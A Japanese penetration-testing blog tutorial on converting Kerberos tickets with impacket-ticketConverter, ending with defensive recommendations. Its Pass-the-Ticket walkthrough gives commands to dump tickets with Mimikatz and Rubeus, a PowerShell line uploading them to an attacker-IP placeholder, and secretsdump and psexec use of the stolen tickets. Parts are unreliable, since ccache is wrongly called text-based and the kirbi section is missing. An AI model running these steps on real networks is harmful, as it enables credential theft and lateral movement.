impacket-ticketConverter完全ガイド: Kerberosチケット変換の達人になる🔑

セキュリティツール

Active Directory 環境におけるペネトレーションテストやレッドチーム活動では、Kerberos チケットの操作が不可欠なテクニックとなることがよくあります。特に、異なるツールやオペレーティングシステム間でチケットをやり取りする必要がある場合、チケットのフォーマット変換が求められます。ここで活躍するのが、強力なネットワークプロトコル操作ツールキットである Impacket スイートに含まれる impacket-ticketConverter スクリプトです。

このブログ記事では、impacket-ticketConverter の基本的な使い方から、実践的なユースケース、注意点までを徹底的に解説します。この記事を読めば、あなたも Kerberos チケット変換の達人になれるはずです!💪

Kerberos チケットとそのフォーマットについて理解する

impacket-ticketConverter を理解する前に、まず Kerberos 認証とチケットフォーマットの基本を押さえておきましょう。

Kerberos 認証の概要

Kerberos は、ネットワーク上でクライアントとサーバーが安全に互いを認証するためのプロトコルです。”チケット” と呼ばれる暗号化されたデータ構造を使用して、ユーザーはパスワードをネットワーク上に送信することなく、サービスにアクセスできます。主な登場人物は以下の通りです。

  • クライアント: サービスへのアクセスを要求するユーザーまたはマシン。
  • KDC (Key Distribution Center): ドメインコントローラー上で動作し、チケットの発行と管理を行うサービス。通常、以下の2つのサービスで構成されます。
    • AS (Authentication Service): クライアントを認証し、TGT を発行する。
    • TGS (Ticket Granting Service): TGT を検証し、特定のサービスへのアクセスを許可するサービスチケット (ST) を発行する。
  • サービス: クライアントがアクセスしたいリソース (ファイル共有、ウェブサイトなど)。

チケットの種類

Kerberos には主に2種類のチケットが存在します。

  • TGT (Ticket Granting Ticket): 認証サービス (AS) によって発行される、いわば「Kerberos 世界への入場券」のようなものです。ユーザーはこの TGT を使って、個別のサービスチケットを要求します。有効期間が比較的長く設定されていることが多いです(デフォルトで10時間など)。
  • ST (Service Ticket) / TGS (Ticket Granting Service) Ticket: チケット発行サービス (TGS) によって発行され、特定のサービス (例: CIFS、HTTP) へのアクセスを許可します。TGT を提示して取得します。

チケットのフォーマット: ccache vs kirbi

Kerberos チケットは、ツールや OS によって異なるファイルフォーマットで保存・利用されます。主なフォーマットは以下の2つです。

ccache (Credentials Cache)

主に Unix/Linux 系のシステム (MIT Kerberos 実装など) で標準的に使用されるフォーマットです。Impacket スイートの多くのツール (secretsdump.py, psexec.py など) や、CrackMapExec (NetExec) などはこのフォーマットを利用します。通常、/tmp/krb5cc_%{uid} のようなファイル名で保存されたり、環境変数 KRB5CCNAME でパスを指定して利用されます。テキストベースのフォーマットです。

これらのフォーマットには互換性がありません。そのため、例えば Windows 上で Mimikatz を使って抽出した .kirbi 形式のチケットを、Linux 上の Impacket ツールで利用したい場合には、フォーマットを .ccache に変換する必要があります。逆もまた然りです。この変換作業を行ってくれるのが impacket-ticketConverter なのです。🎉

Impacket とは?

Impacket は、ネットワークプロトコルを扱うための Python クラスのコレクションです。特に、SMB や MSRPC といった Microsoft Windows 環境でよく使われるプロトコルの実装に重点を置いています。しかし、それだけにとどまらず、Kerberos、LDAP、MSSQL など、様々なプロトコルに対応しています。

Impacket はライブラリとして他の Python スクリプトから利用できるだけでなく、多くの便利なサンプルスクリプト (examples) を提供しています。これらはそのままコマンドラインツールとして利用でき、ペネトレーションテストやシステム管理タスクにおいて非常に強力な武器となります。impacket-ticketConverter もこれらのサンプルスクリプトの一つです。

代表的な Impacket スクリプトには以下のようなものがあります。

スクリプト名 主な機能
secretsdump.py リモートマシンの SAM/LSA/NTDS.dit からハッシュやキーをダンプ
psexec.py リモートコマンド実行 (PsExec ライク)
atexec.py タスクスケジューラ経由でのリモートコマンド実行
wmiexec.py WMI を利用したリモートコマンド実行
smbclient.py SMB ファイル共有操作
getTGT.py KDC から TGT を要求
getST.py KDC からサービスチケットを要求
ticketer.py Golden/Silver Ticket の生成
goldenPac.py Golden Ticket を使用したリモートコマンド実行
mimikatz.py リモート Mimikatz RPC サーバー操作
GetUserSPNs.py SPN を列挙し Kerberoasting 用ハッシュを取得
GetNPUsers.py 事前認証不要ユーザーの TGT を要求し AS-REP Roasting 用ハッシュを取得
ticketConverter.py Kerberos チケット (ccache/kirbi) のフォーマット変換
rbcd.py Resource-Based Constrained Delegation (RBCD) 関連操作
addcomputer.py ドメインへのコンピューターアカウント追加

impacket-ticketConverter は、これらの多様なツール群と連携し、異なる環境で取得・生成された Kerberos チケットを相互に利用可能にするための重要な「橋渡し役」と言えるでしょう🌉。

impacket-ticketConverter の基本的な使い方

インストール

impacket-ticketConverter は Impacket スイートの一部なので、通常は Impacket をインストールすれば利用可能になります。pip を使ってインストールするのが一般的です。最新版を利用することをお勧めします。

pip install impacket
# または、GitHubから最新版をインストール
pip install git+https://github.com/fortra/impacket

Kali Linux などのペネトレーションテスト用ディストリビューションには、最初から Impacket がインストールされていることが多いですが、バージョンが古い場合があります。impacket-scripts パッケージとして提供されていることもあります。

# Kali Linux などでパスが通っている場合
impacket-ticketConverter --help

# examples ディレクトリから直接実行する場合 (パスは環境によって異なります)
# Impacket のインストール場所を確認して実行
python /usr/share/doc/python3-impacket/examples/ticketConverter.py --help
# または pip でインストールした場合のパス (例)
~/.local/bin/ticketConverter.py --help

過去には、別の開発者による同名のツールも存在しましたが、現在は Impacket 本体に含まれる examples/ticketConverter.py を使用することが推奨されています。

基本的なコマンド構文

impacket-ticketConverter の使い方は非常にシンプルです。基本的な構文は以下の通りです。

ticketConverter.py <input_file> <output_file>
  • <input_file>: 変換したい Kerberos チケットファイル (.kirbi または .ccache 形式)。
  • <output_file>: 変換後のチケットを保存するファイル名。

このツールの賢い点は、入力ファイルのフォーマットを自動的に検出してくれることです。そのため、入力が .kirbi なのか .ccache なのかを明示的に指定する必要はありません。スクリプトがファイルの内容を解析し、適切な変換を行ってくれます。Metasploit の auxiliary/admin/kerberos/ticket_converter モジュールも同様の機能を提供しています。

変換例

具体的な変換例を見てみましょう。

例1: kirbi から ccache への変換
Windows 上の Mimikatz で取得した admin_ticket.kirbi を、Linux 上の Impacket ツールで使うために admin_ticket.ccache に変換する場合。
python ticketConverter.py admin_ticket.kirbi admin_ticket.ccache

実行すると、以下のような出力が表示され、admin_ticket.ccache ファイルが生成されます。

Impacket v0.12.0.dev1+2024XXXX.XXXXXX - Copyright 2024 Fortra

[*] converting kirbi to ccache...
[+] done.

(バージョン番号と日付は実行環境により異なります)

python ticketConverter.py user.ccache user.kirbi

実行すると、以下のような出力が表示され、user.kirbi ファイルが生成されます。

Impacket v0.12.0.dev1+2024XXXX.XXXXXX - Copyright 2024 Fortra

[*] converting ccache to kirbi...
[+] done.

非常に簡単ですね!😊 このシンプルな操作だけで、異なる環境やツール間での Kerberos チケットの互換性の問題が解決できます。

トラブルシューティング

まれに、ライブラリの依存関係やバージョンの問題でエラーが発生することがあります。例えば、impacket.krb5.ccache から KeyBlock をインポートできないというエラー (ImportError: cannot import name 'KeyBlock' from 'impacket.krb5.ccache') が報告されたことがあります。これは Impacket の内部構造の変更に起因する可能性があり、最新版の Impacket を利用することで解決することが多いです。また、特定の Kerberos チケット (例: CVE-2020-17049 関連で生成されたもの) の変換時にエラーが発生したというIssueも過去に報告されています。問題が発生した場合は、Impacket のバージョンを確認し、必要であればアップデートやダウングレード、あるいは GitHub の Issue を確認してみてください。

実践的なユースケース: Mimikatz チケットを Impacket で活用する

impacket-ticketConverter が最もよく利用されるシナリオの一つが、Windows 環境で取得した Kerberos チケットを Linux 環境のツールで利用するケースです。特に、Mimikatz でダンプしたチケットを Impacket スクリプトで Pass-the-Ticket (PtT) 攻撃に使う流れは典型的です。この攻撃手法は「Pass the Cache」と呼ばれることもあります。

ここでは、その具体的な手順をステップバイステップで見ていきましょう。

ステップ1: Windows 上で Mimikatz または Rubeus を使用してチケットをダンプ

まず、侵害した Windows マシン上で管理者権限を取得し、Mimikatz や Rubeus を実行してメモリから Kerberos チケットをダンプします。

Mimikatz を使用する場合:

# Mimikatz を起動 (管理者権限が必要)
.\mimikatz.exe

# 権限昇格 (必要に応じて)
privilege::debug

# Kerberos チケットをメモリから抽出し、.kirbi 形式でエクスポート
sekurlsa::tickets /export

# ログオフイベントでチケットが削除されないようにする (オプション)
# misc::memssp

sekurlsa::tickets /export コマンドを実行すると、現在のセッションで利用可能な Kerberos チケット (TGT やサービスチケット) が、カレントディレクトリに [ID]-[ID]-....kirbi という形式のファイル名で保存されます。例えば、[0;ca99f8]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi のような TGT ファイルがエクスポートされるでしょう。

Rubeus を使用する場合:

# 現在のユーザーの TGT をダンプして Base64 で表示
.\Rubeus.exe dump /nowrap

# 特定の LUID (Logon ID) のチケットをダンプ
.\Rubeus.exe dump /luid:0x12d1f7 /nowrap

# すべてのセッションのチケットを監視・ダンプ (管理者権限が必要)
.\Rubeus.exe monitor /interval:5 /filteruser:DOMAIN\TargetUser

Rubeus はチケットを Base64 エンコードされた文字列として出力することが多いです。この Base64 文字列をデコードして .kirbi ファイルとして保存する必要があります。PowerShell などで以下のように実行できます。

[IO.File]::WriteAllBytes("C:\path\to\ticket.kirbi", [Convert]::FromBase64String("<RubeusからコピーしたBase64文字列>"))

また、Kekeo (misc::convert ccache ticket.kirbi) のようなツールも .kirbi と .ccache の変換に使用できます。

ステップ2: .kirbi ファイルを Linux 環境に転送

次に、エクスポートまたは生成された .kirbi ファイル (特に利用したい TGT など) を、Impacket ツールがインストールされている Linux マシン (攻撃者のマシンなど) に転送します。転送方法は、SCP, nc, HTTP サーバー、SMB 共有など、状況に応じて選択します。ファイルを ZIP 圧縮して転送することも一般的です。

# PowerShell でファイルを ZIP 圧縮する例
Compress-Archive -Path .\*.kirbi -DestinationPath tickets.zip

# Webサーバー経由でアップロードする例 (別途アップロード用サーバーが必要)
$webClient = New-Object System.Net.WebClient
$webClient.UploadFile('http://<攻撃者IP>/upload.php', "$PWD\tickets.zip")

ステップ3: impacket-ticketConverter で .ccache 形式に変換

Linux マシン上で、転送された .kirbi ファイルを impacket-ticketConverter を使って .ccache 形式に変換します。Base64 で取得した場合は、まずデコードして .kirbi ファイルを作成します。

# Base64 文字列を含むファイルをデコードして .kirbi を作成
cat ticket_base64.txt | base64 -d > administrator.kirbi

# .kirbi を .ccache に変換
impacket-ticketConverter administrator.kirbi administrator.ccache

ファイル名に特殊文字が含まれる場合は、シングルクォートやダブルクォートで囲むか、エスケープ処理を行ってください。これで、administrator.ccache というファイルが生成されます。

ステップ4: KRB5CCNAME 環境変数を設定

Impacket ツール (や他の多くの Linux Kerberos ツール) は、使用するチケットキャッシュの場所を環境変数 KRB5CCNAME を参照して決定します。変換して生成した .ccache ファイルのパスをこの環境変数に設定します。

export KRB5CCNAME=/path/to/your/administrator.ccache
# フルパスで指定するのが確実です

# 設定されたか確認
echo $KRB5CCNAME

ステップ5: Impacket ツールでチケットを利用 (-k オプション)

準備が整いました!これで、KRB5CCNAME で指定したチケットを使って Impacket ツールを実行できます。多くの Impacket スクリプトでは、-k オプション (Kerberos 認証を使用) と -no-pass オプション (パスワードやハッシュを指定しない) を組み合わせることで、チケットベースの認証 (Pass-the-Ticket) を行います。

例: secretsdump.py でドメインコントローラーからハッシュをダンプ

impacket-secretsdump -k -no-pass DOMAIN.LOCAL/Administrator@DC01.DOMAIN.LOCAL

例: psexec.py でターゲットマシン上でコマンドを実行

impacket-psexec -k -no-pass DOMAIN.LOCAL/Administrator@TARGETPC.DOMAIN.LOCAL

例: wmiexec.py でターゲットマシン上でコマンドを実行

impacket-wmiexec -k -no-pass DOMAIN.LOCAL/Administrator@THMIIS.ZA.TRYHACKME.COM 'whoami'

例: smbclient.py でファイル共有にアクセス

impacket-smbclient -k -no-pass //DC01.DOMAIN.LOCAL/C$

例: NetExec (旧 CrackMapExec) で利用

export KRB5CCNAME=admin.ccache
netexec smb 10.10.10.10 -u Administrator -k

注意点 ⚠️

  • ターゲットの指定: Impacket ツールでターゲットを指定する際は、IP アドレスではなく FQDN (完全修飾ドメイン名) または NetBIOS 名を使用することが強く推奨されます。Kerberos 認証は通常、サービスプリンシパル名 (SPN) に基づいて行われ、これはホスト名に関連付けられています。IP アドレスで指定すると NTLM 認証にフォールバックしたり、Kerberos 認証が失敗 (KDC_ERR_S_PRINCIPAL_UNKNOWN など) することがあります。
  • 時刻同期: Kerberos 認証は時刻に非常に敏感です。クライアント (攻撃者の Linux マシン) と KDC (ドメインコントローラー) の時刻が大きくずれていると (通常5分以上)、認証に失敗します (KRB_AP_ERR_SKEWKDC_ERR_PREAUTH_FAILED など)。攻撃対象のドメインコントローラーの時刻に合わせて、攻撃マシンの時刻を同期させる必要がある場合があります (例: sudo ntpdate dc.domain.local)。
  • チケットの有効期限: Kerberos チケットには有効期限があります。期限切れのチケットは使用できません。ダンプしたチケットが有効期間内であることを確認してください。
  • SPN の問題: 取得したチケット (特にサービスチケット) の SPN が、アクセスしたいサービスと一致しない場合、認証に失敗することがあります。ただし、Impacket は “AnySPN” と呼ばれるテクニックを実装しており、チケットの SPN を書き換えて異なるサービスへのアクセスを試みることがあります。

このように、impacket-ticketConverter は、異なるプラットフォーム間の Kerberos チケットの壁を取り払い、Mimikatz や Rubeus のような強力な Windows ツールと Impacket のような多機能な Linux ツールの連携を可能にする、非常に価値のあるツールなのです。🚀

その他のユースケースと注意点

ccache から kirbi への変換シナリオ

逆の変換、つまり .ccache から .kirbi への変換が必要になるケースは、先のシナリオほど一般的ではありませんが、考えられます。例えば、以下のような状況です。

  • Linux 環境で Impacket の getTGT.pygetST.py、あるいは Golden Ticket や Silver Ticket を ticketer.py で生成し、それを Windows 環境のツール (Mimikatz の kerberos::ptk や Rubeus の ptt コマンド) でインポートして使いたい場合。
  • 特定の脆弱性検証 (例: MS14-068 の悪用で生成した ccache チケットを Windows で使う) や、Cobalt Strike の Beacon など、特定のツール連携のために .kirbi 形式のチケットが必要な場合。rvazarkar/KrbCredExport のような専用ツールも存在しますが、ticketConverter でも対応可能です。
  • Linux 上で取得したチケットを解析・デバッグするために Windows ツールを使いたい場合。

基本的な使い方は同じで、入力と出力のファイル名を指定するだけです。

impacket-ticketConverter my_linux_ticket.ccache my_windows_ticket.kirbi

注意点とセキュリティに関する考慮事項

impacket-ticketConverter は非常に便利なツールですが、利用にあたっては以下の点に注意が必要です。

  • 🔑 チケットは機密情報: Kerberos チケット (特に TGT) は、ユーザーのパスワードやハッシュと同様に非常に機密性の高い情報です。TGT はドメイン内のほぼすべてのリソースへのアクセス権を持つマスターキーのようなものです。チケットファイルが漏洩すると、攻撃者はそのチケットの所有者になりすましてネットワークリソースにアクセスできてしまいます (Pass-the-Ticket 攻撃)。チケットファイルは安全な場所に保管し、不要になったら確実に削除してください。転送時も暗号化されていない経路は避けるべきです。
  • 有効期限: 前述の通り、チケットには有効期限があります (通常 8-12 時間程度)。変換したチケットも元のチケットの有効期限を引き継ぎます。有効期限が切れたチケットは使用できません。Golden Ticket のように意図的に長い有効期間を設定することも可能ですが、通常のチケットの有効期限は意識する必要があります。
  • 😈 悪用の可能性: 攻撃者は、侵害した環境内でチケットをダンプし、impacket-ticketConverter を使って他のツールで利用可能な形式に変換することで、ラテラルムーブメント (横方向への侵害拡大) や権限昇格を試みます。防御側としては、LSASS プロセスへのアクセス試行の監視、不審な Kerberos 認証イベント (異常な SPN リクエスト、大量の認証失敗など) のログ監視、エンドポイントでの Mimikatz や Rubeus などのツールの検知・防御 (EDR) が重要です。
  • 🛡️ 権限管理と防御策: そもそもチケットをダンプされないように、システムの権限管理を適切に行うことが根本的な対策となります。具体的には以下のような対策が考えられます。
    • ローカル管理者権限の厳格な管理。
    • 多要素認証 (MFA) の導入。
    • 特権アクセス管理 (PAM) ソリューションの利用。
    • Windows Defender Credential Guard の有効化 (LSASS からの資格情報窃取を困難にする)。
    • 特権アカウント (特に Domain Admins) を Protected Users グループに追加する (キャッシュされる資格情報の制限、NTLM へのフォールバック禁止、委任の禁止など)。
    • アカウントが機密であり委任できない (`NOT_DELEGATED`) 属性の設定。
    • 定期的な krbtgt アカウントのパスワード変更 (Golden Ticket 対策)。
    • Kerberos 委任設定 (Unconstrained, Constrained, Resource-Based Constrained) の適切な構成と監視。

まとめ

impacket-ticketConverter は、Impacket スイートの中でも地味ながら非常に重要な役割を担うツールです。異なるオペレーティングシステムやツール間で Kerberos チケットのフォーマット (ccachekirbi) を相互に変換する機能を提供し、シームレスなツール連携を実現します。

特に、Windows 環境で Mimikatz や Rubeus を使って取得した .kirbi チケットを、Linux 環境の Impacket ツール群で利用可能にするシナリオにおいて、その価値は絶大です。Pass-the-Ticket 攻撃をはじめとする多くの高度な攻撃テクニックや、ペネトレーションテスト、レッドチーム活動において、欠かせない存在となっています。

この記事を通じて、impacket-ticketConverter の使い方とその重要性について理解を深めていただけたなら幸いです。Kerberos チケットは強力な認証メカニズムであると同時に、攻撃者にとっても価値の高いターゲットです。ツールの使い方を学ぶとともに、チケットの適切な管理と、多層的なセキュリティ対策の重要性も忘れないようにしましょう。🛡️💻

Happy Hacking (ethically, of course)! 😉

コメント

タイトルとURLをコピーしました